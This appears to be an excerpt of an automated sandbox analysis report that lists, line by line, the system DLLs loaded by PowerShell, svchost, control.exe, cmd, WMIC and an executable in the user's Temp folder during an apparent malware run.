Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
